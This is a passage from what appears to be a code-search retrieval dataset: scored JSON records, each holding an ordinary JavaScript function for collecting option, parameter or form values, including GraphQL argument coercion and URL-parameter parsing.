break;\n\t\t}\n\t}", "title": "" }, { "docid": "75d0388977d327d5cd0511bd307bfcd5", "score": "0.5645267", "text": "function GetParametersFromInputFields() {\n\t\n\tvar param_names = document.getElementsByClassName(\"param_name\"),\n\tparam_values = document.getElementsByClassName(\"param_value\"),\n\tparamObj = {},\n\ti;\n\t\n\tfor (i = 0; i < param_names.length; i++) {\n\t\tvar key = param_names[i].value,\n\t\tvalue = param_values[i].value;\n\t\t\n\t\tif (key != '' && value != '') {\n\t\t\tparamObj[key] = value;\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn paramObj;\n}", "title": "" }, { "docid": "33b8741ab5752f14a8a0d17556f850be", "score": "0.56189084", "text": "function collectOptions(id) {\n var resultOptions = {};\n var options = document.getElementById(id).options;\n for (var i = 0, len = options.length; i < len; i++) {\n resultOptions[convertToURLString(options[i].text)] = options[i].value;\n }\n return resultOptions;\n}", "title": "" }, { "docid": "0b09988a51c855966d2d088a657eb768", "score": "0.561485", "text": "function getAllValues(){\n prae = prae_slider.value;\n sens = sens_slider.value;\n spec = spec_slider.value;\n test = test_slider.value;\n}", "title": "" }, { "docid": "e541a90a32b715eafd3727beac7c42ce", "score": "0.5601151", "text": "function retrieveRawOption(option) {\n var ret = {};\n each(['start', 'end', 'startValue', 'endValue', 'throttle'], function (name) {\n option.hasOwnProperty(name) && (ret[name] = option[name]);\n });\n return ret;\n }", "title": "" }, { "docid": "17d74408febe4a38ec8171a47ba88cd8", "score": "0.559698", "text": "options(options) {\n\t\treturn {\n\t \"requests\": [\n\t {\n\t \"service\": \"OPTION\",\n\t \"requestid\": this.requestId++,\n\t \"command\": \"SUBS\",\n\t \"account\": this.auth.accounts[0].accountId,\n\t \"source\": this.auth.streamerInfo.appId,\n\t \"parameters\": {\n\t \"keys\": options.join(), //callOption(\"TQQQ\", \"06\", \"25\", \"21\", \"109\"),\n\t \"fields\": \"0,2,3\"\n\t }\n\t }\n\t ]\n\t }\n\t}", "title": "" }, { "docid": "5e7a8bf5977a41f72132403d40f80676", "score": "0.5584888", "text": "selectedOptionObject(obj) {\n if (obj == null) {\n return null;\n } else {\n var result = [];\n for (let i = 0; i < obj.length; i++) {\n result.push(obj[i].value);\n }\n return result;\n }\n }", "title": "" }, { "docid": "d48b4eb65709a390115edf3a239ba7b6", "score": "0.55528843", "text": "GetParmValue(propsName) {\n try {\n return propsName['paravalue']\n }\n catch (e) {\n OreAlert.alert(e)\n }\n }", "title": "" }, { "docid": "8104ea33282b418c71b1363c0ca32eed", "score": "0.55452824", "text": "function selectGetValues (Select, bValueAsString){\n var Fn = \"[util.js selectGetValues] \";\n var szValues = \"\";\n var bFirst = true;\n \n if (bValueAsString == undefined){\n \tbValueAsString = false;\n }\n if (!Select){\n return jslog(JSLOG_JSU,Fn + \"Select =0 NOTHING to DO\");\n }\n for (var iOpt=0; iOpt < Select.options.length; iOpt ++){\n var Opt = Select.options[iOpt];\n var szVal = Opt.value;\n \tif (bValueAsString){\n szVal = \"'\" + szVal + \"'\";\n \t} \n\t if (bFirst){\n szValues = szVal;\n bFirst = false;\n } else {\n szValues = szValues + \", \" + szVal;\n }\t \n }\n return szValues;\n}", "title": "" }, { "docid": "3a2339412deea6a4452786ea411286e0", "score": "0.55438036", "text": "getOptions() {\n // Plugins with no options don't need any of this\n if (!this.constructor.options) {\n return {};\n }\n\n const attributes = this.elem.attributes;\n const defaults = this.constructor.options;\n const options = _.mapValues(defaults, value => value[1]);\n\n for (const i in attributes) {\n const attr = attributes[i];\n\n // Only examine data attributes\n if (attr.name && attr.name.indexOf('data-') === 0) {\n const optionName = _.camelCase(attr.name.replace(/^data-/, ''));\n\n if (optionName in options) {\n const type = defaults[optionName][0];\n const attrValue = attr.value === '' ? true : attr.value;\n let value;\n\n // You can't cast to false with Boolean('false')\n if (type === Boolean) {\n if (attrValue === 'true') {\n value = true;\n } else {\n value = false;\n }\n } else if (Array.isArray(type)) {\n if (type.indexOf(attrValue) > -1) {\n value = attrValue;\n } else {\n value = defaults[optionName][1];\n }\n } else {\n value = type(attrValue);\n }\n\n options[optionName] = value;\n }\n }\n }\n\n return options;\n }", "title": "" }, { "docid": "894da51699c962be9b5e5e7928748d4f", "score": "0.5541765", "text": "getParameters(opts = {}) {\n const {parameters, keys} = {};\n\n // Get parameter definitions for this Resource\n const PARAMETERS = this.constructor.PARAMETERS || {};\n\n const isWebgl2 = Object(_webgl_utils__WEBPACK_IMPORTED_MODULE_1__[\"isWebGL2\"])(this.gl);\n\n const values = {};\n\n // Query all parameters if no list provided\n const parameterKeys = parameters || Object.keys(PARAMETERS);\n\n // WEBGL limits\n for (const pname of parameterKeys) {\n const parameter = PARAMETERS[pname];\n\n // Check if this parameter is available on this platform\n const parameterAvailable =\n parameter &&\n (!('webgl2' in parameter) || isWebgl2) &&\n (!('extension' in parameter) || this.gl.getExtension(parameter.extension));\n\n if (parameterAvailable) {\n const key = keys ? Object(_webgl_utils__WEBPACK_IMPORTED_MODULE_1__[\"getKey\"])(this.gl, pname) : pname;\n values[key] = this.getParameter(pname, opts);\n if (keys && parameter.type === 'GLenum') {\n values[key] = Object(_webgl_utils__WEBPACK_IMPORTED_MODULE_1__[\"getKey\"])(this.gl, values[key]);\n }\n }\n }\n\n return values;\n }", "title": "" }, { "docid": "2466550e49fca1db505600213ae793fa", "score": "0.5541114", "text": "function getArgumentValues(args, variables) {\n var values = {};\n args.forEach(function (arg) {\n if (arg.kind === VARIABLE) {\n values[arg.name] = getVariableValue(arg.variableName, variables);\n } else {\n values[arg.name] = arg.value;\n }\n });\n return values;\n}", "title": "" }, { "docid": "eb93e098bd5cf7d082f3cdcdd2d6bf48", "score": "0.55119056", "text": "function optionsFromUrlParms() { \n // this function will be invoked after specs load\n // as it must be able to overide options in specs\n\n /*-------------------------------------------\n ** get useInfluxDB from URL parameter if any,\n ** replace \"all\" by \"sbweio\"\n **/\n\n if (urlParams.has(\"useInfluxDB\")) {\n if (urlParams.get(\"useInfluxDB\") === \"true\") { options.useInfluxDB = true; }\n else if (urlParams.get(\"useInfluxDB\") === \"false\") { options.useInfluxDB = false; }\n else { alert(\"Invalid parameter useInfluxBD; parameter ignored.\")}\n }\n\n /*-----------------------------------------------\n ** get logTypes string from URL parameter if any,\n ** replace \"all\" by \"sbweio\"\n **/\n\n if (urlParams.has(\"logTypes\")) {\n options.logTypes = urlParams.get(\"logTypes\");\n }\n if (options.logTypes == \"all\") {\n options.logTypes = \"sbweio\";\n }\n\n /*------------------------------------------\n ** get timeTolSec from URL parameter if any\n **/\n if (urlParams.has(\"timeTolSec\")) {\n options.timeTolSec = urlParams.get(\"timeTolSec\");\n }\n options.timeTolSec = parseInt(options.timeTolSec);\n if (!Number.isSafeInteger(options.timeTolSec)) {\n options.timeTolSec = 0;\n alert(\"options.timeTolSec is not a number, \\n replaced by '\" + options.timeTolSec + \"'\");\n }\n\n /*-----------------------------------------\n ** get hotdeckSec from URL parameter if any // deprecated\n **/\n if (urlParams.has(\"hotdeckSec\")) {\n options.hotdeckSec = urlParams.get(\"hotdeckSec\");\n }\n options.hotdeckSec = parseInt(options.hotdeckSec);\n if (!Number.isSafeInteger(options.hotdeckSec)) {\n options.hotdeckSec = 0;\n alert(\"options.hotdeckSec is not a number, \\n replaced by \" + options.hotdeckSec);\n }\n\n /*-------------------------------------------------------------\n ** get policy and related parameters from URL parameter if any;\n ** if policy not provided, other related parameters are ignored\n **/\n if (urlParams.has(\"policy\")) {\n options.subscribePolicy.policy = urlParams.get(\"policy\");\n if (![\"instant\", \"ideal\", \"fixed\"].includes(options.subscribePolicy.policy)) {\n options.subscribePolicy.policy = \"instant\";\n alert(\"invalid options.subscribePolicy.policy, \\n replaced by '\" + options.subscribePolicy.policy +\"'\"); \n }\n if ([\"instant\", \"ideal\"].includes(options.subscribePolicy.policy)) {\n // ==> period ignored\n if (urlParams.has(\"minPeriod\")) {\n options.subscribePolicy.minPeriod = urlParams.get(\"minPeriod\");\n }\n options.subscribePolicy.minPeriod = parseInt(options.subscribePolicy.minPeriod);\n if (!Number.isSafeInteger(options.subscribePolicy.minPeriod)) {\n options.subscribePolicy.minPeriod = 100;\n alert(\"options.subscribePolicy.minPeriod is not a number \\n replaced by \" + options.subscribePolicy.minPeriod); \n }\n else {\n // \"fixed\" ==> minPeriod ignored\n if (urlParams.has(\"period\")) {\n options.subscribePolicy.period = urlParams.get(\"period\");\n }\n options.subscribePolicy.period = parseInt(options.subscribePolicy.period);\n if (!Number.isSafeInteger(options.subscribePolicy.period)) {\n options.subscribePolicy.period = 950;\n alert(\"options.subscribePolicy.period is not a number, \\n replaced by \" + options.subscribePolicy.period);\n } \n }\n }\n }\n}", "title": "" }, { "docid": "0fa058895a8ce56dba6ce35fce0b2077", "score": "0.5504275", "text": "getParams() {\n return {\n value: this.value, \n name: this.name,\n unit: this.unit\n }\n }", "title": "" }, { "docid": "e6c71f615e1924101372f130a7979dd7", "score": "0.54995114", "text": "get IncorrectParameters() {}", "title": "" }, { "docid": "adc9ae74d5047ba819d241f21ac1cbaf", "score": "0.54986256", "text": "filterOptions(val, options, permitValues) {\n if (val === '') return options\n let responseOptions = []//Response options\n //Filter\n for (let opt of options) {\n //Search in options\n if (JSON.stringify(opt).toLowerCase().indexOf(val.toLowerCase()) > -1)\n responseOptions.push(opt)\n //IF exist param permitvalues, compare if option exist\n else if (permitValues) {\n let optValue = opt.value.toString()//Parse value\n if (typeof (permitValues) == 'object') {\n permitValues.forEach(item => {\n if (item.toString() == optValue) responseOptions.push(opt)\n })\n } else if (permitValues.toString() == optValue) responseOptions.push(opt)\n }\n }\n //Response\n return responseOptions\n }", "title": "" }, { "docid": "9ca2621ea8babcdf1ec00f74a60fa0ac", "score": "0.54954034", "text": "function getOptions(options_list, k) {\n for (var dict of options_list) {\n for (var key in dict) {\n if (key == k) {\n return dict[key];\n }\n }\n }\n return null;\n }", "title": "" }, { "docid": "074bc3faf955990a298ad14436afbaed", "score": "0.54809064", "text": "values() {\n const values = {};\n\n Object.values(this.config.fields).forEach((field) => {\n const { name, type } = field;\n\n Object.defineProperty(values, name, {\n get: () => {\n this.ensureValueExist();\n\n if (['multi-entity-id-select', 'multi-select'].includes(type)) {\n return this.condition.value[name] || [];\n }\n\n return this.condition.value[name];\n },\n set: (value) => {\n this.ensureValueExist();\n this.condition.value = { ...this.condition.value, [name]: value };\n },\n });\n });\n\n return values;\n }", "title": "" }, { "docid": "aaa0f364ee8e2fd0cbb0c5f504e925e4", "score": "0.54794693", "text": "function dependent_option( val, data ) {\n options = {}\n for (var field in opttree) {\n if (opttree.hasOwnProperty(field)) {\n $.extend(true, options, opttree[field][data.values[field]]);\n }\n }\n\n return options;\n}", "title": "" }, { "docid": "6994ca25fc820010d849ac5759d24335", "score": "0.54783803", "text": "function sc_values() {\n if (arguments.length === 1)\n return arguments[0];\n else\n return new sc_Values(arguments);\n}", "title": "" }, { "docid": "03123871cd076b96c54b1890c4c0fbb1", "score": "0.5473877", "text": "function getArgumentValues(def, node, variableValues) {\n\t var coercedValues = {};\n\t var argDefs = def.args;\n\t var argNodes = node.arguments;\n\t if (!argDefs || !argNodes) {\n\t return coercedValues;\n\t }\n\t var argNodeMap = keyMap(argNodes, function (arg) {\n\t return arg.name.value;\n\t });\n\t for (var i = 0; i < argDefs.length; i++) {\n\t var argDef = argDefs[i];\n\t var name = argDef.name;\n\t var argType = argDef.type;\n\t var argumentNode = argNodeMap[name];\n\t var defaultValue = argDef.defaultValue;\n\t if (!argumentNode) {\n\t if (!isInvalid(defaultValue)) {\n\t coercedValues[name] = defaultValue;\n\t } else if (isNonNullType(argType)) {\n\t throw new GraphQLError('Argument \"' + name + '\" of required type ' + ('\"' + String(argType) + '\" was not provided.'), [node]);\n\t }\n\t } else if (argumentNode.value.kind === Kind.VARIABLE) {\n\t var variableName = argumentNode.value.name.value;\n\t if (variableValues && Object.prototype.hasOwnProperty.call(variableValues, variableName) && !isInvalid(variableValues[variableName])) {\n\t // Note: this does not check that this variable value is correct.\n\t // This assumes that this query has been validated and the variable\n\t // usage here is of the correct type.\n\t coercedValues[name] = variableValues[variableName];\n\t } else if (!isInvalid(defaultValue)) {\n\t coercedValues[name] = defaultValue;\n\t } else if (isNonNullType(argType)) {\n\t throw new GraphQLError('Argument \"' + name + '\" of required type \"' + String(argType) + '\" was ' + ('provided the variable \"$' + variableName + '\" which was not provided ') + 'a runtime value.', [argumentNode.value]);\n\t }\n\t } else {\n\t var valueNode = argumentNode.value;\n\t var coercedValue = valueFromAST(valueNode, argType, variableValues);\n\t if (isInvalid(coercedValue)) {\n\t // Note: ValuesOfCorrectType validation should catch this before\n\t // execution. This is a runtime check to ensure execution does not\n\t // continue with an invalid argument value.\n\t throw new GraphQLError('Argument \"' + name + '\" has invalid value ' + print(valueNode) + '.', [argumentNode.value]);\n\t }\n\t coercedValues[name] = coercedValue;\n\t }\n\t }\n\t return coercedValues;\n\t}", "title": "" }, { "docid": "4d34d2d419314a03575b1ae6fee75e8a", "score": "0.5467319", "text": "getOptions(){\n return this.toOptionsObject()\n }", "title": "" }, { "docid": "1b4c34f18fab4f8f55ea3670f4516550", "score": "0.5454", "text": "function getParams(params){\n return _.pick(params, 'name', 'isPublic', 'sportId', 'dateYear', 'dateMonth', 'dateDay', 'dateHour', 'dateMinute');\n}", "title": "" }, { "docid": "133e46ced2a259df138fbfb4c2eb464c", "score": "0.5451617", "text": "function getSelectedValues(options) {\n return Array.from(options).filter(function (el) {\n return el.selected;\n }).map(function (el) {\n return el.value;\n });\n}", "title": "" }, { "docid": "133e46ced2a259df138fbfb4c2eb464c", "score": "0.5451617", "text": "function getSelectedValues(options) {\n return Array.from(options).filter(function (el) {\n return el.selected;\n }).map(function (el) {\n return el.value;\n });\n}", "title": "" }, { "docid": "133e46ced2a259df138fbfb4c2eb464c", "score": "0.5451617", "text": "function getSelectedValues(options) {\n return Array.from(options).filter(function (el) {\n return el.selected;\n }).map(function (el) {\n return el.value;\n });\n}", "title": "" }, { "docid": "4a62f3b5ba79bc5fd81fb4723d270914", "score": "0.5442953", "text": "function getSelectValues(select){\n\tlet result = [];\n\tlet options = select && select.selectedOptions;\n\n\tfor (var i=0, iLen=options.length; i<iLen; i++) { //>\n\t result.push(options[i].value);\n\t}\n\treturn result;\n}", "title": "" }, { "docid": "d16d0b7886b4b93ca01e9d4bdce8c3bf", "score": "0.54360175", "text": "function getAllValues () {\n var $elements = $('fieldset input, fieldset select, fieldset textarea');\n var values = {};\n var type;\n var value;\n for (var i = 0; i < $elements.length; i++) {\n type = getFieldType($elements[i]);\n value = getFieldValue($elements[i], type);\n if (typeof value !== 'undefined') {\n // we only have single selects, fatten array\n if (type === 'select') {\n value = value[0];\n }\n values[$elements[i].name] = value;\n }\n }\n return values;\n}", "title": "" }, { "docid": "fdba5948ed10e4aebe4bafb9e90c73e7", "score": "0.54343826", "text": "function GetParameterValues(param) {\n var url = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');\n for (var i = 0; i < url.length; i++) {\n var urlparam = url[i].split('=');\n if (urlparam[0] == param) {\n return urlparam[1];\n };\n };\n }", "title": "" }, { "docid": "7613ade02a4c2e5c7f8ddb6e41b9093f", "score": "0.54336417", "text": "getValuesFromForm() {\n let optionServiceOptions;\n Object.keys(this.filter).forEach(property => {\n if (this.filter[property] === undefined || this.filter[property] === '') {\n delete this.filter[property];\n return;\n }\n });\n if (this.optionsServiceChosenOptions.length) {\n optionServiceOptions = this.optionsServiceChosenOptions.filter((optionItem) => {\n return Object.values(this.filter).includes(optionItem.value);\n });\n }\n return { filter: this.filter, optionsService: optionServiceOptions };\n }", "title": "" }, { "docid": "66521ef6f9054be99e59221e492bdb8d", "score": "0.54291743", "text": "function getParamValues(location, state) {\n if (typeof state !== 'object') {\n /* Handle undefined/null notFoundContext */\n return void 0;\n }\n\n var paramValues = getAllMatches(state.match, location);\n\n return fuse(state.params, paramValues);\n }", "title": "" }, { "docid": "88d6ad8d530951d1aede08275a8d7e7d", "score": "0.5414957", "text": "function getArgumentValues(def, node, variableValues) {\n\t var argDefs = def.args;\n\t var argNodes = node.arguments;\n\t if (!argDefs || !argNodes) {\n\t return {};\n\t }\n\t var coercedValues = Object.create(null);\n\t var argNodeMap = (0, _keyMap2.default)(argNodes, function (arg) {\n\t return arg.name.value;\n\t });\n\t for (var i = 0; i < argDefs.length; i++) {\n\t var argDef = argDefs[i];\n\t var name = argDef.name;\n\t var argType = argDef.type;\n\t var argumentNode = argNodeMap[name];\n\t var defaultValue = argDef.defaultValue;\n\t if (!argumentNode) {\n\t if (!(0, _isInvalid2.default)(defaultValue)) {\n\t coercedValues[name] = defaultValue;\n\t } else if (argType instanceof _definition.GraphQLNonNull) {\n\t throw new _error.GraphQLError('Argument \"' + name + '\" of required type ' + ('\"' + String(argType) + '\" was not provided.'), [node]);\n\t }\n\t } else if (argumentNode.value.kind === Kind.VARIABLE) {\n\t var variableName = argumentNode.value.name.value;\n\t if (variableValues && !(0, _isInvalid2.default)(variableValues[variableName])) {\n\t // Note: this does not check that this variable value is correct.\n\t // This assumes that this query has been validated and the variable\n\t // usage here is of the correct type.\n\t coercedValues[name] = variableValues[variableName];\n\t } else if (!(0, _isInvalid2.default)(defaultValue)) {\n\t coercedValues[name] = defaultValue;\n\t } else if (argType instanceof _definition.GraphQLNonNull) {\n\t throw new _error.GraphQLError('Argument \"' + name + '\" of required type \"' + String(argType) + '\" was ' + ('provided the variable \"$' + variableName + '\" which was not provided ') + 'a runtime value.', [argumentNode.value]);\n\t }\n\t } else {\n\t var valueNode = argumentNode.value;\n\t var coercedValue = (0, _valueFromAST.valueFromAST)(valueNode, argType, variableValues);\n\t if ((0, _isInvalid2.default)(coercedValue)) {\n\t var errors = (0, _isValidLiteralValue.isValidLiteralValue)(argType, valueNode);\n\t var message = errors ? '\\n' + errors.join('\\n') : '';\n\t throw new _error.GraphQLError('Argument \"' + name + '\" got invalid value ' + (0, _printer.print)(valueNode) + '.' + message, [argumentNode.value]);\n\t }\n\t coercedValues[name] = coercedValue;\n\t }\n\t }\n\t return coercedValues;\n\t}", "title": "" }, { "docid": "537bd4ea86b6650f8d619398078e4aed", "score": "0.5414008", "text": "get options() {\n return [\n { label: 'Alpha', value: 'alpha' },\n { label: 'Bravo', value: 'bravo' },\n { label: 'Charlie', value: 'charlie' },\n ];\n }", "title": "" }, { "docid": "d10e4d8b02594d7e9d51a418ffd9f5bd", "score": "0.5406369", "text": "getValue() {\n\t\tconst val = options.get(this.get('id'));\n\t\treturn val === undefined ? this.get('default') : val;\n\t}", "title": "" }, { "docid": "8a58f55c0cc320e82f28232f6d4d5d30", "score": "0.5402665", "text": "function readSpecifiedTestOptions() {\n let options = {};\n\n let selectedKey = $('#select_TestType').find(\":selected\").val();\n options.test = TestTypeEnum[selectedKey];\n\n return options;\n}", "title": "" }, { "docid": "e53e76605f53213b4a2e94f584263ff8", "score": "0.53950644", "text": "get options() {\n return this.prepareList(this.props.options.toJS());\n }", "title": "" }, { "docid": "13ade0390ecab1b624f1f5789e75573b", "score": "0.53950506", "text": "get options() {\n if (!this.pjOptions) return [];\n\n const options = [];\n const files = Object.entries(this.pjOptions);\n for (const [label, value] of files) {\n options.push({\n label: label,\n value: value\n });\n } \n return options;\n }", "title": "" }, { "docid": "e7041da45061d415712d66c3848e323d", "score": "0.5387799", "text": "getNames() {\r\n return Array.from(this.values()).map(parameter => parameter.name);\r\n }", "title": "" }, { "docid": "3fd45d113d40921ab07d770fd21ee939", "score": "0.5387759", "text": "function getArgumentValues(def, node, variableValues = {}) {\n var _a;\n const variableMap = Object.entries(variableValues).reduce((prev, [key, value]) => ({\n ...prev,\n [key]: value,\n }), {});\n const coercedValues = {};\n // eslint-disable-next-line @typescript-eslint/no-unnecessary-condition\n const argumentNodes = (_a = node.arguments) !== null && _a !== void 0 ? _a : [];\n const argNodeMap = argumentNodes.reduce((prev, arg) => ({\n ...prev,\n [arg.name.value]: arg,\n }), {});\n for (const argDef of def.args) {\n const name = argDef.name;\n const argType = argDef.type;\n const argumentNode = argNodeMap[name];\n if (!argumentNode) {\n if (argDef.defaultValue !== undefined) {\n coercedValues[name] = argDef.defaultValue;\n }\n else if (graphql.isNonNullType(argType)) {\n throw new graphql.GraphQLError(`Argument \"${name}\" of required type \"${inspect(argType)}\" ` + 'was not provided.', node);\n }\n continue;\n }\n const valueNode = argumentNode.value;\n let isNull = valueNode.kind === graphql.Kind.NULL;\n if (valueNode.kind === graphql.Kind.VARIABLE) {\n const variableName = valueNode.name.value;\n if (variableValues == null || !(variableName in variableMap)) {\n if (argDef.defaultValue !== undefined) {\n coercedValues[name] = argDef.defaultValue;\n }\n else if (graphql.isNonNullType(argType)) {\n throw new graphql.GraphQLError(`Argument \"${name}\" of required type \"${inspect(argType)}\" ` +\n `was provided the variable \"$${variableName}\" which was not provided a runtime value.`, valueNode);\n }\n continue;\n }\n isNull = variableValues[variableName] == null;\n }\n if (isNull && graphql.isNonNullType(argType)) {\n throw new graphql.GraphQLError(`Argument \"${name}\" of non-null type \"${inspect(argType)}\" ` + 'must not be null.', valueNode);\n }\n const coercedValue = graphql.valueFromAST(valueNode, argType, variableValues);\n if (coercedValue === undefined) {\n // Note: ValuesOfCorrectTypeRule validation should catch this before\n // execution. This is a runtime check to ensure execution does not\n // continue with an invalid argument value.\n throw new graphql.GraphQLError(`Argument \"${name}\" has invalid value ${graphql.print(valueNode)}.`, valueNode);\n }\n coercedValues[name] = coercedValue;\n }\n return coercedValues;\n}", "title": "" }, { "docid": "ce2e83ee14c54b550ddf6fa47ee3ef23", "score": "0.5377035", "text": "function myFunc2 (options) {\n const {a, b, c = 4} = options\n console.log(a, b, c)\n}", "title": "" }, { "docid": "c2c6fca8ef36b3f5390e8d36e864cdc8", "score": "0.53767365", "text": "function readSpecifiedTestOptions() {\n let options = {};\n\n let selectedKey = $('#select_TestType').find(\":selected\").val();\n options.test = _SETTINGS.TEST_TYPE_ENUM[selectedKey];\n\n return options;\n}", "title": "" }, { "docid": "7463a8c5fff5def6d66f53550f91facf", "score": "0.5374118", "text": "onGetFields() { return { 'idsetting': this.idsetting, 'idowner': this.idowner, 'owner': this.owner, 'name': this.name, 'value': this.value }; }", "title": "" }, { "docid": "0ac99cabc1074ff2d088ee45c424fe7d", "score": "0.5370552", "text": "function getValues() {\n var data;\n return data = {\n date: self.$el.find('input[name=calendar]').val(),\n name: self.$el.find('input[name=goodName]').val(),\n supplier: self.$el.find('input[name=supplier]').val(),\n count: self.$el.find('input[name=count]').val(),\n price: self.$el.find('input[name=price]').val()\n };\n }", "title": "" }, { "docid": "1a4802952d6bbb7595fff5ec47b9fb77", "score": "0.53674567", "text": "function getValues(def)\n\t{\n\t\tvar ii, out, key;\n\t\tout = [];\n\t\tfor (ii = 0; ii < def.length; ii++) {\n\t\t\tkey = Object.keys(def[ii])[0];\n\t\t\tmod_assert.ok('value' in def[ii][key]);\n\t\t\tout.push(def[ii][key]['value']);\n\t\t}\n\n\t\treturn (out);\n\t}", "title": "" }, { "docid": "9407ec5fc2c085299783287590e7d373", "score": "0.5367213", "text": "function getSelectedOptions()\n {\n var options = [];\n var userSelections = ko.toJS(viewModel.userSelection);\n $.each(userSelections, function (key, val) {\n var option = productController.findOptionByCustomizationValue(key, val);\n if( typeof option != \"undefined\")\n options.push(option);\n });\n return options;\n }", "title": "" }, { "docid": "3d5ecd9d395ee2ebb374f0e831dd54f5", "score": "0.53564364", "text": "values(type, prop) {\n let data = this[type]\n\n let global = data['*'] && data['*'].values\n let values = data[prop] && data[prop].values\n\n if (global && values) {\n return utils.uniq(global.concat(values))\n } else {\n return global || values || []\n }\n }", "title": "" }, { "docid": "3d5ecd9d395ee2ebb374f0e831dd54f5", "score": "0.53564364", "text": "values(type, prop) {\n let data = this[type]\n\n let global = data['*'] && data['*'].values\n let values = data[prop] && data[prop].values\n\n if (global && values) {\n return utils.uniq(global.concat(values))\n } else {\n return global || values || []\n }\n }", "title": "" }, { "docid": "bfbb4604b7c2ed6acee5dfd0c536ffb6", "score": "0.53418505", "text": "get activeConfigurationOptions() {\n const vari = this.activeVariantCombination;\n if (!vari) {\n return {};\n }\n const kws = vari.keywordSettings;\n if (!kws) {\n return {};\n }\n const vars = this.availableVariants;\n if (!vars) {\n return {};\n }\n const data = Array.from(kws.entries()).map(([param, setting]) => {\n if (!vars.has(param)) {\n debugger;\n throw 12;\n }\n const choices = vars.get(param).choices;\n if (!choices.has(setting)) {\n debugger;\n throw 12;\n }\n return choices.get(setting);\n });\n const result = data.reduce((acc, el) => ({\n buildType: el.buildType || acc.buildType,\n generator: el.generator || acc.generator,\n linkage: el.linkage || acc.linkage,\n toolset: el.toolset || acc.toolset,\n settings: Object.assign(acc.settings || {}, el.settings || {})\n }), {});\n return result;\n }", "title": "" }, { "docid": "0c4113701fbb43e8f803cbebdbf268bf", "score": "0.53369516", "text": "function getVal(val) {\n if (typeof val === 'function') {\n return val.apply(undefined, Array.prototype.slice.call(arguments, 1));\n } else {\n return val;\n }\n }", "title": "" }, { "docid": "d63be44c930408c61573fdf1dec4f8e0", "score": "0.53292614", "text": "getOptions() { return this._options; }", "title": "" }, { "docid": "d63be44c930408c61573fdf1dec4f8e0", "score": "0.53292614", "text": "getOptions() { return this._options; }", "title": "" }, { "docid": "bbb1e3be1a77302c6054ad4c7762cc50", "score": "0.53236204", "text": "function namedParamsValues() {\n const allPathName = pathNames();\n const allNamedParamsKeys = namedParamsWithIndex();\n\n return allNamedParamsKeys.reduce((values, paramKey) => {\n values.push(allPathName[paramKey.index]);\n return values;\n }, []);\n }", "title": "" }, { "docid": "50ef657de796ae00aa9accd18fe0c6d8", "score": "0.53226113", "text": "values(type, prop) {\n let data = this[type];\n\n let global = data['*'] && data['*'].values;\n let values = data[prop] && data[prop].values;\n\n if (global && values) {\n return utils.uniq(global.concat(values))\n } else {\n return global || values || []\n }\n }", "title": "" }, { "docid": "c4b11223bcc8f1384a9c532555ee159b", "score": "0.5311593", "text": "function getArgumentValues(def, node, variableValues) {\n var coercedValues = {};\n var argDefs = def.args;\n var argNodes = node.arguments;\n if (!argDefs || !argNodes) {\n return coercedValues;\n }\n var argNodeMap = (0, _keyMap2.default)(argNodes, function (arg) {\n return arg.name.value;\n });\n for (var i = 0; i < argDefs.length; i++) {\n var argDef = argDefs[i];\n var name = argDef.name;\n var argType = argDef.type;\n var argumentNode = argNodeMap[name];\n var defaultValue = argDef.defaultValue;\n if (!argumentNode) {\n if (!(0, _isInvalid2.default)(defaultValue)) {\n coercedValues[name] = defaultValue;\n } else if ((0, _definition.isNonNullType)(argType)) {\n throw new _error.GraphQLError('Argument \"' + name + '\" of required type ' + ('\"' + String(argType) + '\" was not provided.'), [node]);\n }\n } else if (argumentNode.value.kind === _kinds.Kind.VARIABLE) {\n var variableName = argumentNode.value.name.value;\n if (variableValues && Object.prototype.hasOwnProperty.call(variableValues, variableName) && !(0, _isInvalid2.default)(variableValues[variableName])) {\n // Note: this does not check that this variable value is correct.\n // This assumes that this query has been validated and the variable\n // usage here is of the correct type.\n coercedValues[name] = variableValues[variableName];\n } else if (!(0, _isInvalid2.default)(defaultValue)) {\n coercedValues[name] = defaultValue;\n } else if ((0, _definition.isNonNullType)(argType)) {\n throw new _error.GraphQLError('Argument \"' + name + '\" of required type \"' + String(argType) + '\" was ' + ('provided the variable \"$' + variableName + '\" which was not provided ') + 'a runtime value.', [argumentNode.value]);\n }\n } else {\n var valueNode = argumentNode.value;\n var coercedValue = (0, _valueFromAST.valueFromAST)(valueNode, argType, variableValues);\n if ((0, _isInvalid2.default)(coercedValue)) {\n // Note: ValuesOfCorrectType validation should catch this before\n // execution. This is a runtime check to ensure execution does not\n // continue with an invalid argument value.\n throw new _error.GraphQLError('Argument \"' + name + '\" has invalid value ' + (0, _printer.print)(valueNode) + '.', [argumentNode.value]);\n }\n coercedValues[name] = coercedValue;\n }\n }\n return coercedValues;\n}", "title": "" }, { "docid": "80463d9c2916b78886170f12e824ccd0", "score": "0.5304882", "text": "function getValues(def)\n{\n\tvar ii, out, key;\n\tout = [];\n\tfor (ii = 0; ii < def.length; ii++) {\n\t\tkey = Object.keys(def[ii])[0];\n\t\tmod_assert.ok('value' in def[ii][key]);\n\t\tout.push(def[ii][key]['value']);\n\t}\n\n\treturn (out);\n}", "title": "" }, { "docid": "80463d9c2916b78886170f12e824ccd0", "score": "0.5304882", "text": "function getValues(def)\n{\n\tvar ii, out, key;\n\tout = [];\n\tfor (ii = 0; ii < def.length; ii++) {\n\t\tkey = Object.keys(def[ii])[0];\n\t\tmod_assert.ok('value' in def[ii][key]);\n\t\tout.push(def[ii][key]['value']);\n\t}\n\n\treturn (out);\n}", "title": "" }, { "docid": "2019ab7db51b23bacb4276ebf682b30b", "score": "0.5301447", "text": "function valuesToOptions(value, options) {\n var returnValue = null;\n if (!value) return null; // Check for the similar values\n\n options.forEach(function (obj) {\n if (obj.id == value) {\n returnValue = obj;\n }\n });\n return returnValue;\n}", "title": "" }, { "docid": "fa5b02eab3bd3521ade6284dfe0bd403", "score": "0.5298061", "text": "function read_value(script, parameter_name, parameter_type) {\n value = null;\n switch (parameter_type) {\n case \"ChoiceParameter\":\n value = $('#' + script + '-' + parameter_name)[0].value;\n break;\n case \"WeatherPathParameter\":\n value = $('#' + script + '-' + parameter_name)[0].value;\n break;\n case \"BooleanParameter\":\n value = $('#' + script + '-' + parameter_name)[0].checked;\n break;\n case \"PathParameter\":\n value = $('#' + script + '-' + parameter_name)[0].value;\n break;\n case \"MultiChoiceParameter\":\n value = $('#' + script + '-' + parameter_name).val();\n break;\n case \"SubfoldersParameter\":\n value = $('#' + script + '-' + parameter_name).val();\n break;\n case 